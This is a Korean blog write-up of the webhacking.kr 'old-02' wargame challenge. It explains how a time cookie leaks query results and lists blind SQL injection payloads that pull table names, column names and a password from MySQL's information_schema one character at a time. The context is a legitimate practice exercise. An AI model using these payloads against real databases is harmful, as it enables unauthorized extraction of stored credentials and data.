์ƒˆ์†Œ์‹

Game/webhacking

[old-02] Webhacking.kr

  • -
๋ฐ˜์‘ํ˜•

[old -02 ๋ฌธ์ œํ’€์ด]

 

 

์›๋ž˜ old-38๋ฒˆ์ด ๊ฐ‘์ž๊ธฐ ํ’€๊ณ  ์‹ถ์–ด์„œ ์‹œ๋„ ํ–ˆ๋Š”๋ฐ, 

๋ฒ„ํ”„์ŠˆํŠธ๋ฅผ ์‚ฌ์šฉํ•ด์„œ ํ•˜๋ ค๊ณ  ํ•˜์ž๋งˆ์ž (ํ”„๋ก์‹œ ํ‚ค๊ณ ) ๊ตฌ๊ธ€์—์„œ ์—ฐ๊ฒฐ์ฐจ๋‹จ? ์ด ๋˜์—ˆ๋Š”์ง€ ์ž๊พธ ์—๋Ÿฌ๊ฐ€ ๋– ์„œ

 

์ผ๋‹จ ๋„˜์–ด๊ฐ€๊ณ  2๋ฒˆ์„ ํ’€์–ด๋ณด๊ฒ ๋‹ค..;;

 


 

2๋ฒˆ ๋ฌธ์ œ ํ’€์ด

 

 

 

์ฒซ ํŽ˜์ด์ง€๋Š” ์•„๋ฌด๊ฒƒ๋„ ์—†๋‹ค...

์†Œ์Šค ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด์ž. 

 

 

 

์Œ.. ์•„์ง ๋ฌด์Šจ๋ง์ธ์ง€ ์ž˜๋ชจ๋ฅด๊ฒ ์œผ๋‹ˆ ๋ˆˆ์— ๋ณด์ด๋Š” admin.php ๋กœ ๊ฐ€๋ณด์ž.

 

 

 

password๋ฅผ ์ž…๋ ฅํ•˜๋ฉด clear๊ฐ™์€๋ฐ ๋”์ด์ƒ์— ํžŒํŠธ๋Š” ์—†์—ˆ๋‹ค.

 

์†Œ์Šค๋ฅผ ์‚ดํŽด๋ด๋„ ๋ณ„ ํžŒํŠธ๊ฐ€ ์—†์–ด์„œ ์ฟ ํ‚ค๋ฅผ ํ™•์ธํ•ด๋ดค๋‹ค.

 

 

 

time์ด๋ผ๋Š” ์ฟ ํ‚ค๊ฐ€ ์ƒ์„ฑ๋˜์–ด์žˆ๋‹ค. ๋ฌด์–ธ๊ฐ€ ํžŒํŠธ์ธ๋“ฏ ํ•ด์„œ 1์„ ๋„ฃ๊ณ  ์ €์žฅ ํ›„ ์‚ดํŽด๋ณด์•˜๋‹ค.

 

์•„๋ฌด ๋ณ€ํ™”๊ฐ€ ์—†์–ด์„œ ์ „์— ์†Œ์Šค ์ฝ”๋“œ๋กœ ๋Œ์•„๊ฐ”๋‹ค.

 

 

 

 

์ฃผ์„์ฒ˜๋ฆฌ ๋˜์–ด์žˆ๋Š” ์‹œ๊ฐ„์— ๋ณ€ํ™”๊ฐ€ ์ƒ๊ฒผ๋‹ค. ๋งจ ๋’ท ์ž๋ฆฌ๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’ 1 ๋กœ ๋ณ€ํ–ˆ๋‹ค.

 

 

์ฟ ํ‚ค ๊ฐ’์— 2๋ฅผ ๋„ฃ์–ด๋ดค๋‹ค.

 

 

 

 

2๋กœ ๋ณ€ํ•œ๋‹ค.

 

๊ทธ๋ ‡๋‹ค๋ฉด 0์„ ๋„ฃ์–ด๋ณด์ž.

 

 

 

 

๋‹ค ์‚ฌ๋ผ์ง€๊ณ , ์ฟ ํ‚ค ๊ฐ’๋„ ์ดˆ๊ธฐํ™” ๋˜์—ˆ๋‹ค.

 

 

 

 

๊ฑฐ์ง“ ๊ฐ’์„ ์ฃผ์—ˆ๋”๋‹ˆ,

 

 

 

 

9 : 00 : 00 ์ด ์ถœ๋ ฅ๋œ๋‹ค. --> ๊ฑฐ์ง“์˜ ๊ฐ’ ์•Œ์•˜์Œ.

 

์ฐธ์ธ ๊ฒฝ์šฐ ์ฐธ์˜ ํ•ด๋‹นํ•˜๋Š” ๊ฐ’์„ ๋ณด์—ฌ์ฃผ๊ณ , ๊ฑฐ์ง“์˜ ๊ฒฝ์šฐ 0์„ ์ค€๋‹ค. 

์•„์˜ˆ 0์„ ์ž…๋ ฅ์‹œ ๋ชจ๋“  ๊ฐ’์€ ์ดˆ๊ธฐํ™”๋œ๋‹ค.

 

 

0 = ๊ฑฐ์ง“ --> 0์ž…๋ ฅ์‹œ ๋ชจ๋“  ๊ฐ’์ด ์ดˆ๊ธฐํ™”๋จ.
์ž์—ฐ์ˆ˜ = ์ฐธ --> ์ž…๋ ฅ์‹œ ์ดˆ ๋ถ€๋ถ„์ด ์ž…๋ ฅํ•œ ๊ฐ’์œผ๋กœ ๋ฐ”๋€œ. 

์ด๊ฑด blind sql injection์ด๋ผ๊ณ  ์˜ˆ์ธก ํ•  ์ˆ˜ ์žˆ์Œ. (์ฒ˜์Œ ๋ณด๋Š” ์œ ํ˜•์ด๋ผ ๋งŽ์ด ํ—ค๋งธ๋‹ค)

 


db์ด๋ฆ„์€ ๊ตณ์ด ์ง€๊ธˆ ํ•„์š”๋Š” ์—†์–ด๋ณด์ด๋‹ˆ, ํ…Œ์ด๋ธ”์ด ๋ช‡๊ฐœ์ธ์ง€ ํ…Œ์ด๋ธ” ์ˆ˜๋ถ€ํ„ฐ ์•Œ์•„๋ณด์ž.

 

 

 

 

count๋Š” ์ˆ˜๋กœ ๋ฐ˜ํ™˜ํ•˜๋Š” ํ•จ์ˆ˜์ด๋ฏ€๋กœ, ํ…Œ์ด๋ธ”์˜ ๊ฐฏ์ˆ˜๋ฅผ ์•Œ์•„๋ณด๋Š” ์ฟผ๋ฆฌ์ด๋‹ค. 

database() ํ•จ์ˆ˜๋Š” ํ˜„์žฌ db์ด๋ฆ„์„ ๋ถˆ๋Ÿฌ์˜ค๋Š” ํ•จ์ˆ˜์ด๋‹ค.

information_schma ๋Š” mysql์˜ ๋ฉ”ํƒ€ ๋ฐ์ดํƒ€๋กœ 

 

lucete1230-cyberpolice.tistory.com/81?category=851757

 

์œ„ ์ž๋ฃŒ๋ฅผ ์ฐธ๊ณ  ํ•˜๊ธธ ๋ฐ”๋ž€๋‹ค.

 

 

ํ…Œ์ด๋ธ” ์ˆ˜๋Š” 2๊ฐœ!

 

 

๊ณ„์† ์‚ฌ์ง„์œผ๋กœ ์บก์ณํ•˜๋ฉด, ๊ธ€์ด ๋„ˆ๋ฌด ๊ธธ์–ด์งˆ ๊ฒƒ ๊ฐ™์•„ ์•„๋ž˜ ํ…์ŠคํŠธ๋กœ ๋Œ€์ฒ˜ํ•˜์˜€๋‹ค.

 

 

์ฐธ๊ณ ๋กœ ๋งจ์•ž๋’ค () ๋Š” ๊ผญ ํ•ด์ค˜์•ผ ์ธ์‹ ํ•  ์ˆ˜ ์žˆ๋‹ค.

 


1๋ฒˆ์งธ ํ…Œ์ด๋ธ” ๊ธธ์ด ๋งž์ถ”๊ธฐ :
(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)

--> ๊ธธ์ด๋Š” 13์ด ๋‚˜์™”๋‹ค.

 

## substring()ํ•จ์ˆ˜๋Š” ์ฒซ ์ธ๋ฑ์Šค๊ฐ€ 1 ์ด๊ธฐ ๋•Œ๋ฌธ์— 1,1์„ ํ•ด์ฃผ๋ฉด 1๋ฒˆ์งธ ๊ธ€์ž ํ•œ๊ฐœ๊ฐ€ ๋ฝ‘ํ˜€๋‚˜์˜จ๋‹ค. ##

 

ํ…Œ์ด๋ธ” ์ด๋ฆ„ ๋งž์ถ”๊ธฐ : 
1๋ฒˆ์งธ ๊ธ€์ž :

(select ascii(substring(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1) 

 

1๋ถ„ 37์ดˆ๋Š” 60+37=97 == 'a'

2๋ฒˆ์งธ ๊ธ€์ž : 

(select ascii(substring(table_name,2,1)) from information_schema.tables where table_schema=database() limit 0,1)

 

1๋ถ„ 40์ดˆ๋Š” 60+40 = 100 =='d'

3๋ฒˆ์งธ ๊ธ€์ž :

(select ascii(substring(table_name,3,1)) from information_schema.tables where table_schema=database() limit 0,1)

 

1๋ถ„ 49์ดˆ๋Š” 60+49=109 =='m'

์ญ‰ ์ด๋ ‡๊ฒŒ ๊ตฌํ•ด๋ณด๋ฉด ๋œ๋‹ค. 

 

13๋ฒˆ์งธ ๊นŒ์ง€ ๋ฐ˜๋ณต ์ž‘์—…์„ ํ•ด์•ผ ํ•˜๋ฏ€๋กœ, ํŒŒ์ด์ฌ์œผ๋กœ ์ฝ”๋“œ๋ฅผ ์งœ์„œ ํ‘ธ๋Š” ๋ฐฉ๋ฒ•๋„ ์ข‹์€ ๊ฒƒ ๊ฐ™๋‹ค. 

 

์ •๋‹ต์€ ์•ˆ์•Œ๋ ค์ค„๊ฒƒ์ด๋‹ค.^_^

(์ด ๋ฌธ์ œ๋Š” ํ’€์–ด๋ณด๋ฉด ๋„์›€์ด ๋งŽ์ด ๋  ๊ฒƒ ๊ฐ™์•„์„œ ๊ฐ€์ด๋“œ๋ฅผ ์ œ์‹œ ํ•˜๋Š” ๊ฒƒ์ด๋‹ˆ, ์Šค์Šค๋กœ ํ’€์–ด๋ณด๋ฉด ์ข‹์„ ๊ฒƒ ๊ฐ™๋‹ค.)

 

 

์ด๋ ‡๊ฒŒ 13 ๊ธ€์ž๋ฅผ ๋‹ค ์•Œ๋ฉด 2๋ฒˆ์งธ ํ…Œ์ด๋ธ” ๊ธธ์ด, ์ด๋ฆ„๋„ ๊ตฌํ•ด๋ณด๊ณ  ์ปฌ๋Ÿผ์ด๋ฆ„๋„ ๋งž์ถฐ๋ณด๋ฉด ๋œ๋‹ค.

 

 

ํžŒํŠธ๋ฅผ ๋“œ๋ฆฌ์ž๋ฉด, ๋‹ค์Œ ํ…Œ์ด๋ธ”(2๋ฒˆ์งธ)์€ ๊ธ€์ž ์ˆ˜๊ฐ€ ๋งค์šฐ ์ ์œผ๋ฉฐ, 

์ •๋‹ต pw๋Š” 1๋ฒˆ์งธ ํ…Œ์ด๋ธ”์— ์†ํ•œ๋‹ค.

 

1๋ฒˆ์งธ ํ…Œ์ด๋ธ”์˜ ์ปฌ๋Ÿผ์„ ๊ตฌํ•˜๋Š” ๋ฐฉ๋ฒ•์€ :

 

select count(column_name) from information_schema.columns where table_name={๊ตฌํ•œ ํ…Œ์ด๋ธ” ์ด๋ฆ„(13๊ธ€์ž)}

 

์ด๋ ‡๊ฒŒ ์ปฌ๋Ÿผ ์ด๋ฆ„์˜ ๊ธ€์ž ์ˆ˜๋ฅผ ๊ตฌํ•˜๊ณ ,

 

๊ธ€์ž ์ˆ˜์— ๋งž์ถฐ ์ปฌ๋Ÿผ ์ด๋ฆ„์„ ์•Œ์•„๋ณธ๋‹ค.

 

select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name={ํ…Œ์ด๋ธ”์ด๋ฆ„}

 

์ด๋ ‡๊ฒŒ ์ญ‰์ญ‰ ๊ตฌํ•˜๋‹ค๊ฐ€..

 

์ปฌ๋Ÿผ ์ด๋ฆ„์„ ๋‹ค ๋งž์ถ˜๋‹ค๋ฉด, ์ด์ œ pw๊ธธ์ด๋ฅผ ๊ตฌํ•˜๋ฉด ๋œ๋‹ค.

 

select length(์ปฌ๋Ÿผ์ด๋ฆ„) from ํ…Œ์ด๋ธ” ์ด๋ฆ„

 

(๊ตฌํ•œ ๊ฐ’์„ ๋„ฃ์–ด์ฃผ์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.)

 

์ด๋ ‡๊ฒŒ ๊ตฌํ•˜๋ฉด ํŒจ์Šค์›Œ๋“œ ๊ธธ์ด๊ฐ€ ๋‚˜์˜ต๋‹ˆ๋‹ค.

 

๋งˆ์ง€๋ง‰์„ ํŒจ์Šค์›Œ๋“œ๊ฐ€ ๋ฌด์—‡์ธ์ง€ table์ด๋ฆ„์„ ๊ตฌํ•˜๋Š” ๋ฐฉ๋ฒ•์ฒ˜๋Ÿผ ๊ตฌํ•ด์ฃผ์‹œ๋ฉด ๋˜์š”~

 

ํŒจ์Šค์›Œ๋“œ ์•Œ์•„๋‚ด๊ธฐ :

select ascii(substring(์ปฌ๋Ÿผ์ด๋ฆ„, 1, 1)) from ํ…Œ์ด๋ธ” ์ด๋ฆ„

 

์ด๋ ‡๊ฒŒ ๋‹ค ๊ตฌํ•˜๋ฉด clear!

 

์™„๋ฃŒ๋œ ๊ฐ’์„ ๋„ฃ์–ด์ฃผ๋ฉด

 

ํด๋ฆฌ์–ด!

 

์ €๊ฐ™์€ ๊ฒฝ์šฐ๋Š” ํŒŒ์ด์ฌ์„ ์ด์šฉํ•ด์„œ ๊ตฌํ–ˆ์–ด์š”.

 

ํˆด์„ ์งœ์„œ ํ‘ธ์‹œ๋Š” ๊ฒƒ์„ ์ถ”์ฒœ๋“œ๋ฆฝ๋‹ˆ๋‹ค..์•„๋‹ˆ๋ฉด ๋…ธ๊ฐ€๋‹ค์˜ˆ์š”ใ… ใ… ใ…  ์ฒจ์— ์ž๊พธ ์—๋Ÿฌ๋‚˜์„œ ๋ฐ˜์ด์ƒ ์ฟผ๋ฆฌ์ง์ ‘

์“ฐ๋ฉด์„œ ๊ตฌํ–ˆ๋”๋‹ˆ 1์‹œ๊ฐ„ ๋„˜๊ฒŒ ๊ฑธ๋ ค๋ฒ„๋ฆฐ ๋ฌธ์ œ..

 

ํ•˜์—ฌํŠผ!

 


Clear!

 

์ •๋‹ต ๊ณต๊ฐœ โ–ผ

๋”๋ณด๊ธฐ
1๋ฒˆ์งธ ํ…Œ์ด๋ธ”๋ช…, column๊ฐ’ 1๊ฐœ, pw 17๊ธ€์ž.

 

๋ฐ˜์‘ํ˜•

'Game > webhacking' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[old-03] Webhacking.kr  (0) 2021.01.30
[old-15] Webhacking.kr  (0) 2020.09.23
[old-01] Webhacking.kr  (0) 2020.09.16
[old-32] Webhacking.kr  (0) 2020.09.16
Contents

ํฌ์ŠคํŒ… ์ฃผ์†Œ๋ฅผ ๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค

์ด ๊ธ€์ด ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด ๊ณต๊ฐ ๋ถ€ํƒ๋“œ๋ฆฝ๋‹ˆ๋‹ค.